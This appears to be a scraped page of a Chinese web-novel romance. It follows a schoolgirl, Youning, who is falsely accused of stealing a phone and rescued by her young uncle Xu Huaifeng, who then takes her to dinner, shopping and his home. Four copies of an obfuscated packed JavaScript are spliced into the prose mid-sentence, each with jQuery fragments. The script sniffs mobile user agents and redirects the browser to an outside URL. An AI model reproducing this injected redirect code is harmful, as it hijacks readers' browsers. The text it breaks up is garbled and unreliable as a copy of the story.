很久以后,攸宁听人讲过这样一种说法,说电影是一种造梦的艺术。
灯光熄灭你就进入了梦里,放映机是无法控制的思绪,银幕则
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698563|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
代替了双眼,光线所到达的地方皆是梦境。只不过有的人沉眠,有的人清醒。
她无法探究他那时梦到了些什么,却明晰地知道至少在那一刻,他是她的梦。
一个短暂、虚无却又触手可碰的梦。
……
攸宁很难讲清自己看了多久,当胥淮风睁开眼时片尾曲刚好放完,那对情侣也早就离开了影厅。
他像是瞬间就清明了过来,问她等了多久,没等回答便说抱歉,没能陪她看完整部电影。
“没关系,反正我也没大看懂这个故事。”
她这样回答,其实心里庆幸至极,他至少睡了一个好觉。
胥淮风将小臂从扶手上移开:“哪里没看懂?”
攸宁仔细想了想才道:“我不明白为什么两个人这么相爱,却不肯让彼此知道心意,甚至还要相互伤害呢。”
故事的结局是在支教结束的那天,男女主一起爬上了石头山,前一秒还在谈论日后的理想生活,下一秒便分道扬镳、各奔东西。
胥淮风起身,接过她手中的爆米花桶,似是思索了思索。
“有的事情刚开始就能看到结局,既然知道是注定不可能的,也就没有必要再把一个人拉进来。”
攸宁似懂非懂地点点头,却又觉得这话没道理。
胥淮风大概看出了她大脑的博弈:“你要是真的很想看懂的话,我可以带你去问一问女主角。”
攸宁兴奋地问他是真的吗,真的可以看到明星吗。
他站在走廊尽头催促她,说天太晚了,改天有空可以约来吃饭。
影厅灯光亮了起来,一切恢复了原状,但音响仍有不大明显的风声。
攸宁回头看了一眼,发现片尾致谢结束后,银幕又有画面浮现,还是那座石头山,只不过是另外一面。
时隔多年,两人在曾经闲聊中所说的理想定居地重逢。
她又惊又喜地叫他来看,然而一来一回的时间已经彻底黑屏。
胥淮风揉了揉她的脑袋,手法和撸猫类似,仅是一种安慰的轻抚。
“我说的不一定是对的,但现在讲这些,对你而言还太早了。”
—
后来的日子归于平淡,攸宁经过校门口时,常常会下意识望向马路对面,但无一例外毫无收获。
她偶尔会听同学谈起那部电影,在天花乱坠的跟风称赞中,频频回忆那晚的种种细节,也就渐渐释怀了郭垚对她的疏远。
在火锅店里,胥淮风说的那番话对攸宁的影响很大,她开始认真思索自己究竟想要什么样的人生,于是去图书馆借了许多书,从人文历史到天体物理。
只不过还是会在闲暇之余翻一翻手机,用视线描摹那一笔一划。
但从某一天起,一切发生了改变。
那天攸宁正陪着老太太在池塘边喂鱼,讲起这些天来在书里看到的故事,将老太太和何姨逗得前仰后合。
谁都没有注意到胥怜月回来时的难看脸色,直到里屋传来了母子间的争吵声,何姨才将老太太扶回了屋里。
攸宁听见这声有些担心,跑到房廊时正撞上周望尘怒气冲冲地出来。
“发生什么事了,妗子有没有……”
她话尚未说完,便被人推了一把:“你管的还真宽啊,还真把自己当成这家里人了,给你点颜色就开染坊了是吧。”
看着他几近嘲讽的表情,攸宁有些不解,她不记得自己做错了什么。
但周望尘显然已经把她当成了罪魁祸首:“你不会觉得让你来周家真的是为了什么认祖归宗吧,要不是老太太病里糊涂,非要闹着见她死了的闺女,你永远不可能进我家的门。”
8. 07
六岁那年,攸宁被村子里的孩子们欺负过一次。
他们拉手围着她绕成一圈,唱有妈的孩子像块宝,没妈的孩子像根草。
她一句话都说不出,坐在地上嚎啕大哭,最后是被隔壁家的姐姐发现,把那群孩子赶走后,将她领回了家。
阿嬷知道后勃然大怒,先是拿着扫帚挨家挨户找人算账,后来回家又把她揍了一顿。
她哭得更厉害了,问阿嬷是不是也不喜欢她了。
时隔多年仍能记得阿嬷硬朗的怀抱,告诉她人可以善良,但不能懦弱,可以吃苦,但不能吃亏;否则就会挨打,比这样还要疼。
幸运的是迄今为止,阿嬷是唯一一个打过她的人。
十七八岁的少年力气很大,幸好攸宁的反应足够快,扶住了身后的墙才不至于摔倒。
她咬住嘴唇,看着逐渐远去的人影,踱步跟了上去:
“周望尘。”
这是攸宁第一次喊他的全名,连名带姓,不算好听。
周望尘似也诧异她的态度,刚想要回头挑衅几句,她便趁着这一时机,抡起拳头挥了上去。
“颠趴,我塞你佬姆!”
……
这场突如其来的冲突,结束了两人本就如履薄冰的“兄妹情”。
他们再也没有一起上下学,哪怕在家抬头不见低头见,也从未说过一句话。
关系回到了从前,甚至还更要恶劣。
但攸宁对这个结果很是满意,不过让她有些意外的是,在这之后周望尘仿佛是心虚一般,默默挨了她的一拳,再也没提起过那天的气话。
甚至胥怜月还叫她去过两次,关心她学习和生活上有无困扰,可以倾诉给她听。
攸宁自然是说一切都好,丝毫不言内心的疑惑。
暖饱思淫欲,她懂这个道理,她无父无母借住在别人屋檐下,哪怕对往事再好奇,也不能不敢去探究。
大概是她这几日魂不守舍的缘故,察觉到同学们若有若无的远离,已经是在一段时间以后了。
最初是结不到小组的课堂任务,然后是发到自己这里总少一张的卷纸,最后是课间嬉笑打闹的同学,在见到她的那一秒像是躲瘟神般销声匿迹。
攸宁不是没问过前后左右的同学,但他们大都含糊其辞,说是她想多了。
她算不上聪慧,却也绝不笨拙,与其为这些虚无缥缈的事情困扰,不如专心做好自己的事。
她不想辜负胥淮风的那番话,想要好好报答他。
不过还有一件事令她感到意外,这几日陈露露总会叫上她同行,若非她的婉拒,甚至一度要到一起去厕所的程度。
再过一个星期就到元旦了,攸宁原以为,今年会在这样诡异而又平衡的节奏里走到尾声。
直至突然收到了一条来自郭垚的短信,说要在放假前约她见个面。
她犹豫了片刻,直接将电话打了过去问为什么。
郭垚沉默了许久,说有话一定要当面给她说。
—
胥淮风点头之交甚多,为名、为利、为权,图的都是身外那些玩意儿。
好友仅二三,不交心,但投机。
杨峥勉强算得上一个,毕竟这厮和谁都能玩得到一块去。
另一个便是当今贺家的长子贺亭午,两家祖上有过命的交情,虽到如今疏远了许多,但两人一同长大,最是知根知底。
一个口味淡,一个不喜烟酒,便选了家私密的日料店。
胥淮风养了个踩点的习惯,到的时候菜已上齐,贺亭午倒也没等他,提前吃了一半。
这人没架,总是一副慵懒作态:“怎么样,你家大哥这回答应见面了吧?”
胥淮风褪掉外套挂了起来:“承您的恩了。”
“那就好,浊家667,有需要随时联系我就行。”
他们从一处门洞子出来,人生路线却不尽相同。
贺亭午去娱乐圈玩了票大的,浊家是他手下的酒吧,杨峥和那小模特就是在那地方认识的。
和杨峥不同,胥淮风与他相处时鲜少闲聊,做什么便只做什么。
然而今天贺亭午却一反常态,问起了他未来的打算,是要和胥兆平维持表面的和睦,还是釜底抽薪、一刀两断。
胥淮风仅食了一片白吞拿:“再等等吧,现在还不到谈这个的时候。”
“不过我还是建议你,不要和那边闹得太掰,毕竟杀敌一千自损八百。”
两人虽出身背景相似,但所要面对的完全不同。
胥家老爷子有三子,大子胥兆平开枝散叶,二子早夭无后,三子这边最终只剩下了胥淮风一人。
“说实在的,有一件事我一直很好奇,周华婉生前就跟周家断了关系,这么多年过去了,他们良心发现才把那孩子接回家?”
贺亭午挑着眉看向不动声色的胥淮风,听闻几个月前他去周家探望,没有多久老太太就进了医院。
胥淮风:“没错,是我把宁宁的照片拿给她看了。”
老太太醒来就一直吵着找女儿,周家实在没办法才托他将攸宁寻回,暂时安抚老太太的情绪。
贺亭午啧啧称奇,说他玩的这叫两头堵,小心人家狗急跳墙。
胥淮风自然不在乎这些,可以说其实他一直在等那一天。
“对了,你们中秋的时候去戏楼怎么也不跟我说一声。”
“跟你说做什么,扰你清梦?”
话已讲完,餐才用半,剩下的才是那人真感兴趣的话题。
贺亭午托着下巴问道:“杨峥那妹妹心属你很久了吧,我记得打小就爱跟在你屁股后头,听说那天推了哪个明星演唱会,就是为了去戏楼见你一面。”
杨峥前几日来诉苦,说妹妹杨欣然那晚被胥淮风轻描淡写的几句扼得回家哭了好久。
胥淮风没有出声,默认确有此事:“我会找个时间和她单独谈谈。”
—
元旦假期前一天,教室表面风平浪静,实则私下早就炸开了锅,纷纷相约如何过今年的跨年夜。
上一节课是数学课,几道立体几何难度不低,课间攸宁没有挪动地方,而是埋头将辅助线擦了又画。
终于找到一丝头绪,便被身旁的说话声扰乱,好像说是谁在班里丢了东西。
攸宁问了下看热闹的同桌,得知是班长彭小萌今晚要请几个好朋友出去吃饭,但一掏兜却找不到手机了。
平日与彭小萌交好的都是陈露露这样活跃的女生,攸宁仅是在交作业时和她说过两句话,因此只是一只耳朵进一只耳朵出。
她松开僵直的指尖,端起水杯要去接水,仅念着郭垚等会儿会和她说些什么。
“攸宁,你过来一下。”
陈露露坐在一群人中间,笑靥如花朝她招手。
攸宁自作多情,以为是要邀请她一起去吃饭,刚想婉拒便听见:“我记得你的手机蛮漂亮的,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698564|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么型号的呀?”
陈露露的声音很亮,语毕教室立即安静,无数人朝这里看来。
眼神像是一堵无形的墙,将她包围在中间:“我……怎么了吗?”
攸宁觉得有些不适,没有回答其实自己并不知道什么型号。
当初胥淮风送手机给她时讲过一嘴,但她一心只在记他的电话号码。
“倒也没什么,就是班长的手机丢了,我记得你那个长得和她的挺像的,想让大家看看,帮忙找一下。”
陈露露说得一本正经,像真的只是要看一看她的手机。
攸宁没有反驳的理由,就应了下来,说等接完水就拿给大家看。
然而她刚背过身去,便听见不知是谁小声在议论:“我听说她家里很穷的,怎么可能用那么贵的手机,说是要去接水没准就是想趁机藏起来。”
在这所学校里,学生出身大都非富即贵,一个上下学靠脚走、鞋子一个月不换、一块钱要掰成两半花的人,大抵是极少的存在。
但攸宁从来不觉得这会是针对一个人的原因:“不是我,我从来没有拿过别人的东西。”
陈露露挑了挑眉道:“那你把手机拿出来啊,让我们看一看不就知道是不是冤枉你了。”
话音落下,起此彼伏的噫吁声将她包围。
攸宁看着陈露露的一弯眼睛,明明是极漂亮的,此刻却满怀厌嫌。
阿嬷仅教过她保护自己免受伤害,却不曾教过她如何应对流言蜚语。
她将手心攥出了汗意,不肯低头:“我不在乎被冤枉,但你们怀疑我的话,可以去找老师来调查。”
大约是看她态度强硬,彭小萌扯了扯陈露露的胳膊,但后者却起身走到了她座位旁,直接拎起了她的书包。
就在这时,教室外的一个人影从后门窜了进来,一把扯住了陈露露的头发,拽到在后排空地扭打在一起。
攸宁挤了进去,只见是许久未见的郭垚将人骑在了地上,陈露露则一手捂着脸,一手在乱抓。
不知是谁通风报信,班主任问询赶来的时候,攸宁正在拉郭垚,彭小萌则在扶陈露露。
于是涉事四人被抓了个正着,带回办公室先是批评了一番,随后挨个联系家长来解决纠纷。
攸宁躲在了最后,却也逃不过叫家长的命运。
“攸宁,把你家长的电话告诉我。”
她支支吾吾了半天,最终也没说些什么。
班主任是个年轻的女老师,以为她是怕被家里人训斥:“你放心,到时候我会好好跟你家长讲的。”
但事已至此,她别无选择,只好说出了胥淮风的电话号码。
拨通后嘀声不过三下便被接起,班主任客套地问了声好,没料到对面是个年轻的男声。
“有学生讲攸宁可能错拿了班里同学的手机……”
电话开的免提,声音有些底噪,他像是在忙,声音却又是平淡的:“您能方便一下,让我跟孩子直接说几句吗?”
攸宁接过电话,开口时有些歉意:“小舅,你在忙吗。”
胥淮风说没事,问她发生了什么。
听见了他的声音,她突然有点儿委屈,吸了吸鼻子道:“有人诬陷我偷别人的手机。”
不同其他家长那样,在电话中或询问或谩骂或道歉,胥淮风仅说了一句:
“等我二十分钟,我现在就过去。”
却给予了她莫大的信任与支撑。
9. 08
胥淮风来的时候,攸宁正站在墙角听训。
陈露露的妈妈见女儿哭得梨花带雨,指着郭垚和攸宁的鼻子骂了一通,大致就是“有人生没人养”这样难听的话。
郭垚爸爸一边赔礼道歉,一边训斥着自家孩子:“成绩下滑了那么多名不说,现在还学会和人打架了是吧?赶紧跟人家说对不起!”
郭垚梗着脖子不肯低头,反而还对着攸宁咧咧嘴。
“宁宁。”
攸宁闻声转头,看见了一身西装革履的胥淮风,像是刚从公务中抽身,与校园背景格格不入,因此引起了些许人的围观。
他没有回应任何人,而是径直向她走来:“有没有伤到哪里?”
胥淮风半俯下身来仔细检查,近到攸宁几乎能看到他脸上细微的绒毛。
她也咧嘴笑笑以示无恙,头顶又被人拍了拍:“好,没事就好。”
在当事人及家长大致到齐后,班主任简要说明了下情况,本着大事化小、小事化了的原则,将冲突分成了丢手机和打架两件事。
并未像其他家长那样或斥责或道歉,胥淮风只问攸宁有没有动手,在得到确切的答案后才道:“陈同学的家长,既然攸宁没有动手,那也就没有必要谈什么道歉了。”
攸宁抬眸,看了一眼将自己挡在身后的胥淮风,明白他这是在帮她,将事件的责任厘清至最小。
对方恼羞成怒,问他是哪门子家长,到底是来护犊子还是解决问题的。
“我是攸宁的舅舅,不是陈同学的舅舅,要护的自然是自家孩子。退一步讲,您说要解决问题,如果攸宁真的哪里做错了,那就是没有看好自己的书包。”
胥淮风四两拨千斤,对面瞬间哑口无言。
大概是怕事情闹大不好收场,郭垚的班主任一到场,便将郭垚爸爸和陈露露妈妈叫到了一旁,说要单方面解决问题。
场子临时静了下来,胥淮风中途出去了一趟,叮嘱攸宁他不在的时候尽量少说话。
站一旁的郭垚朝她使眼色,问她哪里喊来的家长这么牛逼。
但攸宁却并不因此而欣慰,尽管胥淮风十分轻松便能帮她平是非,可将他拉到这样幼稚、甚至有点可笑的闹剧当中,让她心里不由得生出了些歉意。
彭小萌的妈妈是最后到场的,穿了一身职业装和A字裙,听女儿说刚买的手机被人偷了,难掩厚重妆面下的愠色。
尽管班主任再三劝阻还没查清楚,攸宁还是被拽了过去,被人趾高气昂地批评了一通。
“一中现在是怎么招的学生,小小年纪就会偷东西了,这是在学校有老师和家长管着,等出了社会是不是就无法无天了。”
话讲得十分难听,纵使是班主任也有些看不下去,让对方收敛一些。
或许是攸宁闷头不语,让人觉得一拳打在了棉花上,女人的语气松懈了下来:“不过一个手机而已,要是你家里困难,我送你一个也无妨,但上梁不正下梁歪,要是手脚不干净的话,我可得替你家长好好管教一下了。”
烈焰红唇张张合合,吐出的却尽是难闻的气息。
末了,攸宁终于忍不住,开口反驳道:“我没有偷彭小萌的东西,我根本就没有见过她的手机。”
如果只是自己受委屈还不要紧,她却见不得胥淮风被人诋毁分毫。
“那也只是你一面之词,现在回班把你的书包拿来,让小萌看一下再说。”
攸宁一动不动,拒绝了这个要求。
然而女人态度强硬、不依不饶,班主任是新官上任,不想让同事看了笑话,小声催促攸宁去拿书包。
……
直至一道声音破开僵局:“宁宁,过来。”
初见时胥淮风说的便是这句话,那时攸宁还不知道他是谁,带着些生疏的局促,而如今已能奔赴而去叫一声“小舅”。
他并不是一个人回来的,随行在侧的还有一位中年男人,逢人经过便被颔首致意,称呼一声校长。
女人见状迟疑了一番,开始打量起眼前二人的关系,却猜不出这位年轻男人是何人物。
胥淮风的音量尚来不重,但不怒自威:“您讲的不也是一面之词吗,难道您女儿亲眼看见了攸宁偷了她的手机吗?”
彭小萌见这阵势生生萎了下来,无论母亲再如何作问,都躲在身后一声不吭。
“既然校长也在这里,我就有话直说了。”胥淮风向中年男人示意,对方也点了点头:“学生们有点误会本不算件大事,私下讲一讲兴许也就解开了,但事情放到明面上就没那么简单了。”
“在您拿不出具体的证据之前,除非攸宁自己愿意,任何一个随意翻看她东西的人都是强盗。”
攸宁听着听着,忽然觉得眼睛发酸。
明明她一个人时还能坚强,明明现在有人无条件站在她身边,信她所做、为她所言。
却止不住地有些哽咽。
胥淮风似是察觉到她的颤抖,极其自然地将手搭在了她肩上,像是一种安抚,也同时注入了力量:“我已经经过了校长的同意,叫了保卫处的人过来,他们自然会有办法协助您,直到解开孩子们的误会为止。”
—
这场闹剧最终在彭小萌母亲的妥协和班主任的赔笑中告一段落。
胥淮风带着攸宁向校长问好,对方频频点头,甚至关怀了一番她的学习情况,最后叮嘱年级主任一定将此事彻查到底。
“最后一节课是什么?”
“自习课。”
“去拿书包吧。”
攸宁有些讶异地看着胥淮风随她一同上楼:“可是还没到放学的时候呢。”
楼梯仅有十几阶,但此刻极致漫长。
“出了这种事,应该很难再学下去了吧,与其在里面干坐着,不如一起走走。”
胥淮风说得平常,没有一点大人的架子,反而像是一个朋友。
攸宁很快应了下来,不得不说,他的确很懂学生的心理。
尽管她没做错任何事,再回教室时却有些胆怯,推开门的那一刻,无数双眼睛扭头朝她看来。
同桌小声问她怎么样了,她勉强笑笑说没事,收拾书包的手却还在颤抖。
“叔……哥哥好。”突然有人道。
攸宁扭头,见胥淮风身姿挺拔立在了班级的门口,一声不言便将嘈杂的教室压得鸦雀无声。
一眼看去是年轻的相貌,但不出片刻就能识出端倪。
他太过沉稳成熟。
在胥淮风目光的注视中,她按捺下来迅速收拾好书包,离开教室之时被他顺手接了过去。
……
时隔多年,胥淮风从未想过,有一天他会以这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698565|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
形式重新踏入校园。
接到攸宁的电话时他正在公司开会,原本这样的琐事可以交给刘秘来办,但无法忽略她隐约的哭腔。
所以他当即便备了车,同曾经的老校长通了电话,提前联络了他正任现校长的学生。
曾经胥家往图书馆捐了不少老书,这点人情还是给得了的。
走着走着,攸宁径直跑到了他跟前:“小舅,对不起,麻烦你跑一趟了。”
说罢端端正正地鞠了一躬,像是个有违使命的死士。
惹得胥淮风笑了笑:“被人叫了声哥哥,倒也不算亏。”
白白年轻了一回。
他随口一说却被人当成了反语,攸宁歉意更浓:“我以后会自己处理好的,她们想要看就看好了,反正我没偷就是没偷,身正不怕影子斜。”
“那要是她们一口咬定你把东西藏起来了呢?”
“我,我……”
攸宁一时哑口。
的确,如果陈露露反咬一口,就相当于把她逼上了死路,那时无论再如何辩解,别人都会认为她就是那个小偷。
胥淮风看出她明白了这一点,才继续道:“当别人没有证据就质疑你时,千万不要陷入自证陷阱,因为他们的本意并不是要解决问题,而是让你成为替罪羊。”
攸宁重重地点了点头,十分庆幸当时自己做了正确的选择。
冬至已过,白昼渐长,天气愈凉,树枝变得光秃秃的,不是散步的好时节。
如果现在回到岭南,那一定十分温暖湿润,绿意盎然,就算随便走走都是一件浪漫的事情。
想着想着,她止不住打了个喷嚏:“阿嚏——”
攸宁没有拒绝胥淮风的好意,宽松厚实的羊毛西装外套覆落在了单薄的校服上,淡淡的檀香气味将她笼罩,身子忽然暖和了些。
为什么他身上总有焚香的味道,她下意识地想。
不过胥淮风并未给她继续思索的时间,倏而俯下身来系上一粒扣子,一片枯萎树叶随风飘摇至肩,又随薄绒衬衣的纹理滑落在地。
“那我应该怎么办?”
她有些六神无主,已经不知道自己到底想问什么。
胥淮风指腹很长,指尖泛白,扣子在他手中如米小:“你表现的已经很好了,如果说还能再做些什么的话,可以适当提前揣测一下身边人的来意。”
这世上不会有莫名其妙的善,也不会有莫名其妙的恶。
可是,那你呢?你的来意是什么呢。
这话攸宁终究没有问出口,胥淮风也自驳了刚才的言论:“但对人设防是一件很累的事情,与其跟无所谓的人纠缠,不如轻松些生活,至少在我可以为你善后的时候,你没有必要提前为难自己。”
不过是个花季的姑娘,本应无忧无虑的才对,光是他认识的人里也不乏许多年纪二三十岁还天真无邪的“公主少爷”。
不知不觉已经走到了校门口,专用车位上黑色奔驰打起了双闪。
胥淮风拉开车门,将沉甸甸的书包放了进去,回头见小姑娘落在后面走得慢吞吞。
他难得有个空闲时间,默不作声地靠在车旁,想看看她要闹个什么名堂。
直到攸宁捏着手指,一步一步挪到了他面前,音调拉得很长:“小舅——”
“我可以不回家吗?”
10. 09
这话说完,攸宁便有些后悔,但覆水难收。
毕竟今晚是跨年夜,谁会不想和重要的人过呢,家人、朋友亦或是爱人。
正当她准备说辞,好不被拒绝得太过难看时,胥淮风忽然问道:“你有没有吃过京帮菜?”
攸宁甚至都没有回答,只是笑逐颜开说好呀好呀,像是生怕他会后悔。
直到车子停在一处高楼大厦外,招待员穿过旋转门前来拉开车门,她抬头望向夜幕中通明如昼的“银河”,一时看傻了眼说不出话来。
“胥先生里边请,今儿还是老位子?”
“不用,给我在靠窗的地方开一桌。”
胥淮风话音落下,招待员便将他们引了进去,特意绕开了人满为患的大门。
后来攸宁渐渐对这座城市熟络起来,也时常出入类似的场所,才知这一晚临时腾出的座位比任何包间还要金贵。
这桌正对着架在城市中轴的电视塔,伫立在横平竖直的六街灯火里,似被供养的火树银花,即便遥遥相望都能将她的眼眸照亮。
这回胥淮风将点菜权全盘交到了攸宁手里,但小姑娘似是有意为他省钱,几盘菜上桌没有一个热的。
“你倒是还挺好养的。”说罢招来人补了一份烤鸭和醋溜木须。
他本是随口一言,却惹得攸宁有些不好意思,闷头吃了许久的凉菜没有说话。
直至烤鸭师傅来秀刀工,她才趁机抬起了头:“小舅,我最近看了很多的书,感觉对自己更了解一些了。”
胥淮风没想到,这姑娘看上去慢慢吞吞的,行动力却蛮强的,便简单过问了一下,得知最近痴迷于一本讲中外美术史的画册。
“比起被条条框框束缚住,我更喜欢一些主观性强的东西,感觉一个鲜活的世界能在自己手中诞生是一个很奇妙很美好的事情。”
甚至比起偏写实的欧洲油画,她更喜欢国画的挥毫泼墨。
说这话时攸宁神采奕奕,不过很快就萎靡了下来:“但我从没接触过美术,学的还是理科。”
不管怎么说都已经太晚了。
胥淮风摊开一张薄饼,几片鸭肉蘸酱:“这个不用急,现在许多设计类专业走普通高考就能入学,心里有个大致方向就好。”
攸宁点了点头,夹了一块角落里的白菜。
“就算以后走不了这条道路,发展一个业余爱好也是不错的选择。”
这边胥淮风话音刚落,对面已经泪眼盈盈,他正寻思自己哪里说得过火,便看见了她盘子里咬了一半的芥末墩。
虽然有些想笑,但还是把卷好的小饼送了过去。
许是呛得急,小姑娘直接就着他的手咬了一口,似个饿极了的兔子鼓起腮帮。
胥淮风收回手抽了张纸巾,不动声色地擦了擦指尖的濡湿。
—
这大厦底层是一处商圈,每逢节假日便人潮涌动,多是些吃喝玩乐的年轻人,热闹非凡。
就在攸宁有些遗憾今晚就这样结束时,胥淮风主动提出让她陪他逛逛。
不过并不是外面的门店,而是里面的商场,相比之下人少了许多。
胥淮风说是让她作陪,但导购员笑吟吟地迎上来时,他却让人直接带着去看女装。
攸宁从前的衣服都是从集市上淘来的,一年四季都是类似的款式,甚至谈不上挑选,因此当被问及喜欢什么样的风格时她则一问三不知。
导购看她穿着一身校服,齐耳短发,一副学生作态:“现在的孩子都喜欢休闲宽松一点的,上学的时候穿着舒服,运动起来也很方便。”
说罢从衣架上拿出许多衣服,都是些颜色鲜艳、活泼朝气的款式,攸宁一时看花了眼。
“这姑娘又瘦又高,穿这件桃红毛衣再配条格子裙,外面搭一件棉服肯定好看。”
偏偏别人越这样说,她就越是束手束脚,最终胥淮风帮忙选了几件,导购才暂时离开去拿适合她的尺码。
攸宁轻轻吁了口气,站起来随便逛逛,最终停在了一处不动。
“喜欢这双鞋吗?”
胥淮风不知何时站在了她身后,拎起那双小皮鞋:“不用管别人怎么评价,只要你自己心仪就好。”
这是一双黑色圆头漆皮鞋,接到手里沉甸甸的。
攸宁坐到沙发上穿好,想要站起来向他展示,然而胥淮风却径直在她身前蹲了下来。
这次是极近的距离,他的肩膀与她的平齐,甚至能看得见发间细密的纹理,以及眨眼之际睫毛轻微的颤动。
一手的食指按住鞋头,另一只则从后跟的缝隙处嵌入,向下压去。
在触碰到温热皮肤的瞬间,她脚背绷起,脚趾被鞋尖紧紧地压住。
“鞋子有点小,再换双大一些的吧。”
……
导购拎着大包小包回来,将攸宁引去了里面的换衣间,胥淮风则坐在外面的沙发上候着。
期间她小声问了一句衣服的价钱,但导购含糊其辞,只说不贵让她放心试,殊不知是这也是被人交代过的。
从试衣间出来后,导购员满舌生花:“胥先生的眼光真好,这衣服衬得你多精神呀,尤其是配上这双鞋,就跟个洋娃娃一样。”
攸宁头一次被人这样夸奖,一时羞红了脸,只觉得镜子里的人容光焕发,小跑出去想要快些被人看见。
然而一声小舅未喊出口,就生生憋了回去。
沙发上并未只有胥淮风一人,正在说话的女人攸宁曾见过,频频捂嘴,言笑晏晏。
“今天晚上跨年夜闲的没事,我和朋友一起来逛逛,没想到这么巧能在这遇见。”
她一头栗色长发浓密而柔和,驼色束腰大衣半敞,打底的高领毛衣修饰出曼妙的身姿,极具轻熟韵味。
胥淮风张了张嘴,声音极低,不知说了什么。
最终是同行的友人助攻:“欣然早就跟我说过她有个青梅竹马,这回总算让我见着了,可是名不虚传啊。”
甚至连一旁的导购都在赔笑撮合,说二人心有灵犀,今日穿的衣服多么般配。
语毕女人翩然一笑望着对面,明明是极其养眼的画面,她却觉得脚步很沉,已再无法挪动一步。
攸宁望向一侧镜子里的自己,突然觉得呆头呆脑,幼稚至极。
胥淮风很快便注意到了她,事实上他也并未分神于旁人。
“愣着做什么,过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698566|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来让我看看。”
但没等攸宁挪步,他便起身走了过来,目光在她身上停留了许久:“不错,我觉得很好看,也显得活泼了不少。”
他这话是由衷的,仍记得第一次见面时,小姑娘干干瘪瘪的,没有半点这个年纪该有的朝气。
偏她五官舒展明媚,骨架纤细高挑,能看得出来底子很好。
胥淮风见攸宁不语,以为是她不知作何选择,索性将试过的衣服全包了下来。
最终在临走前,杨欣然抓住最后的机会,主动上前对他道:“今晚这附近有场烟火,既然都来了,要不一起去看看吧?”
胥淮风刚要拒绝,便听见旁边友人道:“跨年夜的烟花秀很漂亮,小妹妹应该会喜欢的。”
京州跨年夜的烟火的确百闻不如一见,许多人千里迢迢慕名为此而来。
但尚未等他低头询问,小姑娘却摇了摇头。
“小舅,我想要回去了。”
—
攸宁记得阿嬷有一段时间总是说胸口闷。
那时她不知道这是病,只是趴在床头揉啊揉,问那是一种什么样的感觉。
阿嬷说像是洗头时不小心掉进了瓮里,耳鼻喉被水堵住,听不见、说不上、喘不了。
她觉得很可怕,所以总是拒绝伙伴去河边游玩的邀请,以至于到现在也学不会游泳。
但现在攸宁坐在宽敞舒适的车上,暖风温度正好,分明没有溺水,却好像明白了这是一种什么感觉。
可能是今天的经历跌宕起伏,她太累了,休息一下就好了。
于是便真的不知不觉睡了过去。
当被人叫醒时,攸宁以为是到了家,揉了揉眼却发现外面并不是那座沉闷的深宅大院。
白色洋楼坐落在寸土寸金的地方,好似从林中生出来的一样,静谧之外仍有星星点点的灯火存在。
胥淮风替她拉开车门,撑出一道路来:“你不是说不想回家吗,这处虽然不比周家宅院大,倒也还算清净。”
许是新鲜空气涌进的缘故,攸宁的胸闷忽然缓解了一些。
这话说得格外谦和,以至于与随之见到的画面形成了莫大的反差。
胥淮风按下走廊的开关,一切变得明光烁亮了起来。
仿古砖延伸至落地窗帘前,乳白色羊毛地毯一尘不染,宽敞的空间内木质家具整齐摆落,露台露出尖尖角直通户外。
“一共三间卧室,你自己选一间睡。还有一间书房,等我收拾一下,你可以写作业用。”
其实这住宅并不是他常住的地方,偶尔在附近办事时才会落一下脚,平时仅着人隔周打扫一次。
正当胥淮风要进书房时,却发现攸宁并没有跟上来,而是站在门口一动不动。
他看得出来她有些紧绷,降下些身段戏谑道:“怎么大宅院住惯了,一时适应不了我这小门户?”
攸宁这才抬眼瞧他,声音很轻,像是怕惊着什么。
“还会有别人住在这里吗?”
至少在今晚,明天。
“会。”
胥淮风站在中厅,身后落地窗外郁郁葱葱,一时与画框难分彼此:“我会陪你一起住。”
11. 10
将小姑娘在卧室安顿好并带上门后,胥淮风尚无困意,在露台的藤椅上闲坐。
晚风将倦意吹散,他从口袋中摸来银盒,倒出了一支烟,咬住口中点燃。
云雾吞吐之际,手机来了条消息,是二哥胥澄明发来的。
